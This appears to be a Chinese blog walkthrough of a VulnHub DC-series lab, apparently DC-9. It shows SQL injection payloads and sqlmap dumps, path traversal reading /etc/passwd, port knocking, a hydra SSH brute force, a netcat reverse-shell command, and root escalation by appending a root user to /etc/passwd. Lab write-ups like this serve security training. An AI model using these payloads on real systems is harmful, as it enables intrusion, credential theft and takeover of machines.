🍬 博主介绍
👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
一、信息收集
1.主机扫描
扫描到靶机IP:192.168.103.209
┌──(root💀kali)-[~/桌面]
└─# arp-scan -l
2.端口扫描
DC靶场系列的老样子,22、80端口
但是发现22端口关闭了,一般渗透都是需要ssh连接或者说反弹shell之类的都是需要22端口开启的 ,所有说,后面我们会尝试把22端口开启
┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.209
3.web页面
访问80端口:
点击manage
,跳出登录窗口
后续应该要收集信息,收集账号密码,登录
4.目录扫描
/config.php、/includes、/display.php、/search.php、/search.php
┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.103.209
1./config.php
没有发现什么有价值的信息
2./includes
3.search.php
点击search
,有个输入框,可以试试有没有sql注入
输入框里面,输入1'or 1=1#
验证是否有sql注入
发现,跳转到了这个界面,说明此页面应该是有SQL注入
可以看出来,这个sql注入,是POST注入的
5.sql注入
一、手工注入
求列数:
search=1' union select 1,2,3,4,5,6#
求数据库
search=1' union select 1,2,3,4,5,database()#
求表
search=1' union select 1,2,3,4,5,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
求字段
search=1' union select 1,2,3,4,5,(select group_concat(column_name) from information_schema.columns where table_name='Users')#
查看Username,Password字段的值
search=1' union select 1,2,3,4,5,(select group_concat(concat_ws('~',Username,Password)) from Users)#
┌──(root💀kali)-[~/桌面]
└─# hash-identifier "856f5de590ef37314e7c3bdf6f8a66dc"
判断密码是MD5加密的
账号:admin
密码:transorbital1
二、sqlmap一把梭
sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch #查看是否存在漏洞
sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch --dbs #查看库
sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch -D users --tables #查看表
sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch -D users -T UserDetails --dump #列出管理员账号密码(爆表)
都是员工账号和密码,先放着不管了,再去把另一个数据库staff
的数据表也爆一下,
sqlmap -u "http://192.168.103.209/results.php" --data "search=1" -D Staff -tables
sqlmap -u "http://192.168.103.209/results.php" --data "search=1" -D Staff -T Users --dump -batch
账号密码:
admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
6.登录web页面
账号:admin
密码:transorbital1
点击Add Record
猜测可能存在文件包含漏洞,所以在manage.php
的url处,接入file参数,读取/etc/passwd文件,在url后面加入?file=../../../../etc/passwd
,顺利读取到/etc/passwd文件
但是到这里不知该怎么进行下去了,我们再从头看看,发现22端口的流量被过滤了,所以查阅了一些资料,看了看一些教程,猜测这里可能存在knockd
服务
https://www.cnblogs.com/f-carey/p/16066178.htmlhttps://www.cnblogs.com/f-carey/p/16066178.html
knockd服务:
端口敲门服务,即:knockd服务。
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,
使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
//默认文件是:
/etc/knockd.conf
接下来我们就是需要对其ssh依次敲门了,然后打开ssh服务,进行ssh远程连接
通过文件包含读取knockd的默认配置文件:/etc/knockd.conf
依次对7469、8475、9842
端口进行敲门,然后就可以开门,命令
nmap -p 7469 192.168.103.209
nmap -p 8475 192.168.103.209
nmap -p 9842 192.168.103.209
依次访问之后,重新扫描22端口,可发现ssh服务已经开启,可以访问
把这里面的password和username保存在本地文件
后面用九头蛇爆破,然后利用ssh远程连接
然后使用两个字典进行爆破
┌──(root💀kali)-[~/桌面]
└─# hydra 192.168.103.209 -L user.txt -P passwd.txt ssh
爆破的账号密码如下:
用户 密码
chandlerb UrAG0D!
joeyt Passw0rd
janitor Ilovepeepee
二、漏洞利用
1.ssh连接
1.chandlerb远程连接,没有发现什么目录
┌──(root💀kali)-[~/桌面]
└─# ssh chandlerb@192.168.103.209
2.joeyt
也是一样
3.janitor
多了一个文件:.secrets-for-putin
新发现了很多的账号和密码
把这些都添加到开始的账号密码文件中
passwords-found-on-post-it-notes.txt #密码
/home #账号
┌──(root💀kali)-[~/桌面]
└─# hydra 192.168.103.209 -L user.txt -P passwd.txt ssh
新的账号和密码:
账号:fredf
密码:B4-Tru3-001
┌──(root💀kali)-[~/桌面]
└─# ssh fredf@192.168.103.209
2.sudo -l提权
就是以root权限会进行执行/opt/devstuff/dist/test
这个文件
所有我们接下来要进入这个文件中,然后进行写入木马,然后进行反弹shell,然后拿到root权限
echo 'nc -nv 192.168.103.129 1234 -c bash'>>/opt/devstuff/dist/test/test
发现权限不够,写入失败
3.openssl
账户密码加密
再回到上一个目录查看,在/opt/devstuff
目录下发现了一个test.py脚本文件
这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限
现在我们回到kali,使用openssl
工具创建一个本地的加密用户,
┌──(root💀kali)-[~/桌面]
└─# openssl passwd -1 -salt admin1 admin1
$1$admin1$QDqsIRd5/oAdiXk0vdS1C/
跳转到/opt/devstuff/dist/test
目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,我使用test2
echo 'admin1:$1$admin1$QDqsIRd5/oAdiXk0vdS1C/:0:0::/root:/bin/bash' >> /tmp/test2
执行sudo命令的时候,要在/opt/devstuff/dist/test
目录下执行
用sudo命令执行test文件将/tmp/test2的内容写入到/etc/passwd文件中
sudo ./test /tmp/test2 /etc/passwd